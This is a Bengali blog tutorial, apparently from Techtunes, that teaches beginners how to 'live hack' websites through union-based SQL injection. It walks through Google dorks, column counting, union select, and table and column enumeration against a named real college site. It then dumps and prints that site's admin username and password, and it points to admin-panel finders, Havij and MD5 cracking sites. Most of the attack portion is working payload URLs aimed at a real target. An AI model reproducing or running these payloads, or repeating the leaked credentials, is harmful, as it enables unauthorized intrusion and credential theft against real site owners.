SQL injection union based টিউটোরিয়াল ওয়েবসাইট লাইভ হ্যাকিং শিক্ষা।
শুধু মাত্র নতুনদের জন্য অবিজ্ঞরা দূরে থাকুন।
কোন সফটওয়্যার ছাড়া SQL INJECT করে আপনাদের ভার্নাবল সাইট লাইভ হ্যাক করা শিখাবো।
যদি নিচের লেখা গুলো বুঝতে না পারেন তাহলে টিউটোরিয়াল টি দেখুন
প্রথমে SQL INJECT করার জন্য আমাদের ভার্নাবল সাইট খুজতে হবে।
এর জন্য আমরা dork use করব !
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
এখানে কিছু dork আছে sql ভার্নাবল সাইট খুজার জন্য !
8500 SQL dorks list
http://pastebin.com/dzknXjgP
or
http://pastebin.com/ayV6tNS2
প্রথমে যে কোন একটা dork নিয়ে আমি http://www.google.com এ SEARCH দিব !
inurl:news-and-events.php?id=
এই উপরের dork টি দিয়া SEARCH দিয়ে আমি অনেক সাইট দেখলাম সেখান থেকে আমি একটা সাইট নিলাম।
যেমন :
http://www.eastodissa.ac.in/news-and-events.php?id=22
ছবিঃ
প্রথমে SQL INJECT করার জন্য সাইটের ID ভেল্যু খুজতে হয়।
এরপর আপনাকে দেখতে হবে সাইট টি injectable কিনা।
এর জন্য আপনাকে url এর শেষে একটি ‘ বসাতে হবে।
http://www.eastodissa.ac.in/news-and-events.php?id=22'
যদি ডাটাবেজের কিছু মিসিং আসে বা পেজের কিছু ইরর আসে তাহলে বুঝবেন সাইট টি injectable।
যেমন : “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1″
ছবিঃ
এখন injectable সাইটে inject করার জন্য আপনাকে প্রথমে ডাটাবেজের কলাম বের করতে হবে।
এখানে আমাদের ভার্নাবল সাইট
http://www.eastodissa.ac.in/news-and-events.php?id=22
আমাদের ডাটাবেজের কলাম বের করতে হলে প্রথমে +order+by+ কমান্ড দিতে হবে।
তাহলে লিংকটি দাড়ায়
http://www.eastodissa.ac.in/news-and-events.php?id=22+order+by+
এখন + এর শেষে আপনাকে 1 থেকে শুরু করে ততক্ষণ পর্যন্ত চেষ্টা করতে হবে যতক্ষণ কোন error না দেখায়।
এখন প্রথমে 1 নিয়ে দেখি তাহলে লিংকটি দেখতে এমন হবে।
http://www.eastodissa.ac.in/news-and-events.php?id=22+order+by+1--
নাহ, তাহলে সাইটে কোনো ডাটা মিস করতেছে না।
এখন আবার 2 দিয়ে চেষ্টা করি
http://www.eastodissa.ac.in/news-and-events.php?id=22+order+by+2--
ছবিঃ
এবারও ডাটা মিস করতেছে না।
এবাবে 3,4,5 করে 7 পর্যন্ত গেলাম।
8 এ গেলে পুরো সাইট SQL ইরর দেখায়।
অনেক সময় দেখা যাবে কোন সাইটে অর্থাৎ order by ১০০০ দিলেও কোন error দেখায় না।
http://www.site.com/index.php?id=1 order ১০০০– [ no error ]
এক্ষেত্রে -- এর পর + এবং id=1 এর পর ‘ sign দিতে হবে।
তাহলে সম্পূর্ণ লিঙ্কটি হবে
http://www.site.com/index.php?id=1′ order by ১০০০–+
এবার পেজে error দেখাবে।
বাকি অংশগুলো সাধারন SQL Injection এর মতই হবে।)
http://www.eastodissa.ac.in/news-and-events.php?id=22+order+by+8--
ছবিঃ
ইরর এরকমের হতে পারে।
Could not connect to MySQL server: Unknown column ’8′ in ‘order clause’।
অর্থ্যাত্ এই সাইটের ডাটাবেজের কলাম 7 টি।
এখন আমাদের দেখতে হবে এই 7 টা কলামের ভেতর ভার্নাবল কোনটি।এর জন্য আমাদের আবার কমান্ড ব্যবহার করতে হবে।
কমান্ড টি হবে এমন
+union+select+1,2,3,4,5,6,7--
তাহলে লিংক টি দাড়াবে
http://www.eastodissa.ac.in/news-and-events.php?id=-22+union+select+1,2,3,4,5,6,7--
ছবিঃ
(উল্লেখ, এখানে news-and-events.php?id= এর পর একটি -- দেয়া হয়েছে)
এখন আপনি ভার্নাবল কলাম দেখতে পাবেন।
এই সাইটের ভার্নাবল কলাম 2,3,দেখাবে।
এখানে আমরা 2 নম্বর কলাম নিয়ে কাজ করবো।আপনার টার্গেট সাইট যা পাবেন তা নিয়ে কাজ করতে হবে।
এখন আমরা ভার্নাবল কলামের ভার্সন বের করবোঃ
এর জন্য আপনাকে আবার একটি কমান্ড ব্যবহার করতে হবে।
এখন আগের লিংকে শুধু 2 এর জায়গায় @@version দিতে হবে।
তাহলে আমার লিংক টি দাড়ায় এমন।
http://www.eastodissa.ac.in/news-and-events.php?id=-22+union+select+1,@@version,3,4,5,6,7--
ছবিঃ
এই লিংকে গেলে আমরা ভার্সন দেখতে পাবো।
এটার ভার্সন 5.1.68-community
ভার্সন 5 এর নিচে সাইট গুলো হবে না ভার্সন 5 এর নিচের সাইট এর জন্য অন্য ব্যবস্তা আছে। তাহলে ঐ সাইট বাদ দিয়ে অন্যগুলো সাইট inject করতে চেষ্টা করবেন।
এখন আমরা টেবিল বাহির করবঃ
এখন আমরা আরেকটি কমান্ড ব্যবহার করে টেবিল বের করব।
এক্ষেত্রে ভার্নাবল কলামের বদলে group_concat(table_name) কমান্ড দিবো এবং শেষ কলামের পর
+from+information_schema.tables+where+table_schema=database()-- কমান্ড দিবো।
তাহলে লিংকটি দাড়ালো
http://www.eastodissa.ac.in/news-and-events.php?id=-22+union+select+1,group_concat(table_name),3,4,5,6,7+from+information_schema.tables+where+table_schema=database()--
লিংকে গেলে আপনি কিছু টেবিল দেখতে পাবেন
ছবিঃ
এই সাইটের টেবিল গুলো হল
est_achievement,est_admin,est_adminlog,est_companyrecord,est_facprofile,est_news,est_notice,est_onlineapplication,est_placementrecord
এখন এখান থেকে এডমিন টেবিল বের করতে হবে।
এক্ষেত্রে আপনাকে একটু বুদ্বি খাটাতে হবে।যেমন এখানে est_achievement, est_companyrecord এর এডমিন টেবিল হবে না বুঝা যায়।
একমাত্র est_admin এডমিন টেবিল মনে হয়।
ধরে নিতে না পারলে বা ভুল ধরলে সমাস্যা নেই।ধারনা না করতে পারলে একটা করে চেষ্টা করবেন।
কমান্ডের মাধ্যমে বের করতে হবে। এক্ষেত্রে আপনাকে group_concat(table_name) বদলে group_concat(column_name) কমান্ড দিতে হবে।
এবং শেষ কলামের পর +from information_schema.columns where table_name= এবং এর পর আপনার ধরে নেয়া এডমিন টেবিলের CHAR রুপান্তর দিতে হবে।
এই লিংক থেকে এডঅন টি ডাউনলোড করে ইন্সটল করেন ফায়ারফক্স ব্রাউজার।
https://addons.mozilla.org/en-US/firefox/addon/hackbar/
এখন হ্যাকবার টি ওপেন করেন F9 চেপে
এবার SQL>MySQL>MySQL CHAR() ক্লিক করেন।
ছবিঃ
নতুন একটা বক্স আসবেন সেখানে অ্যাডমিন টেবিল টি দিয়ে ok দিন।
ছবিঃ
এখানে est_admin কে CHAR রুপান্তর করলে হয় CHAR(101, 115, 116, 95, 97, 100, 109, 105, 110)
তাহলে লিংকটি দাড়ায়
http://www.eastodissa.ac.in/news-and-events.php?id=-22+union+select+1,group_concat(column_name),3,4,5,6,7+from+information_schema.columns+where+table_name=CHAR(101, 115, 116, 95, 97, 100, 109, 105, 110)--
লিঙ্কটি দেখতে চাইলে কপি করে আপনার ব্রাউজার এ পেস্ট করেন।
ছবিঃ
আপনি এডমিন টেবিল ধারনা না করতে পারলে আপনি = এর পর অন্যান্য টেবিলের হেক্স রুপান্তর দিয়ে চেষ্টা করবেন।
যেহেতু আমরা বুঝেছি est_admin এডমিন টেবিল এর CHAR রুপান্তর দিয়ে লিংকে গিয়ে আমরা পেলাম কিছু এডমিন কলাম।
uid,userid,password,emailid,signature,last_login
এখন আমরা এডমিন কলাম থেকে সাইটে লগিনের জন্য ইউজারমেম আর পাসওয়ার্ড বের করবো।
এজন্য আমাদের শেষ কমান্ড ব্যবহার করতে হবে।
এজন্য আমাদের group_concat(column_name) বদলে group_concat(login,0x3a,Pass,0x3a) কমান্ড দিবো।
যেহেতু আমরা এডমিন কলামে userId পেয়েছি। তাহ login এর বদলে কমান্ডে userId লিখবো। আপনি অন্য সাইটে অন্য কিছুও পেতে পারেন।
কলাম হিসেবে আপনাকে কমান্ড করতে হবে।
একৈ ভাবে কমান্ডে Pass এর বদলে password ব্যবহার করতে হবে।
এবং শেষ কলামের পর +from+est_admin-- বসাতে হবে।
+from+ এর পর est_admin দিলাম কারন এখানে এডমিন টেবিল est_admin।
তাহলে লিংক টি দাড়ায়
http://www.eastodissa.ac.in/news-and-events.php?id=-22+union+select+1,group_concat(userId,0x3a,password,0x3a),3,4,5,6,7+from+est_admin--
ছবিঃ
আমি ইউজারনেম ও পাসওয়ার্ড পেয়ে গেলাম।
এখানে ইউজারমেম পাসওয়ার্ড হচ্ছে trustadmin:isti$$9!5!2013:
ইউজারমেম trustadmin
পাসওয়ার্ড isti$$9!5!2013
এখন শেষ কাজ হচ্ছে এডমিন পেনেল বের করা।
এর জন্য আপনাকে কোনো সফ্টওয়ার বা এডমিন ফাইন্ডার সাইট ব্যবহার করতে হবে।
যারা মোবাইল দিয়ে হ্যাকিং করেন তারা এডমিন প্যানেল খোজার জন্য এই সাইট টি ব্যবহার করতে পারেন
-http://scan.subhashdasyam.com/admin-panel-finder.php
আর যারা পিসি তে কাজ করবেন তারা havij ব্যবহার করবেন এডমিন প্যানেল খোজার জন্য
আর অনেক সফটওয়্যার আছে তা নিয়ে অন্য একদিন টিউন করব।
আর MD5 হ্যাশ ভাঙতে http://www.md5decrypter.cu.uk/ এটি ব্যবহার করবেন।
আমি খাদিজা নাজমুল। বিশ্বের সর্ববৃহৎ বিজ্ঞান ও প্রযুক্তির সৌশল নেটওয়ার্ক - টেকটিউনস এ আমি 7 বছর 2 মাস যাবৎ যুক্ত আছি। টেকটিউনস আমি এ পর্যন্ত 25 টি টিউন ও 2 টি টিউমেন্ট করেছি। টেকটিউনসে আমার 8 ফলোয়ার আছে এবং আমি টেকটিউনসে 0 টিউনারকে ফলো করি।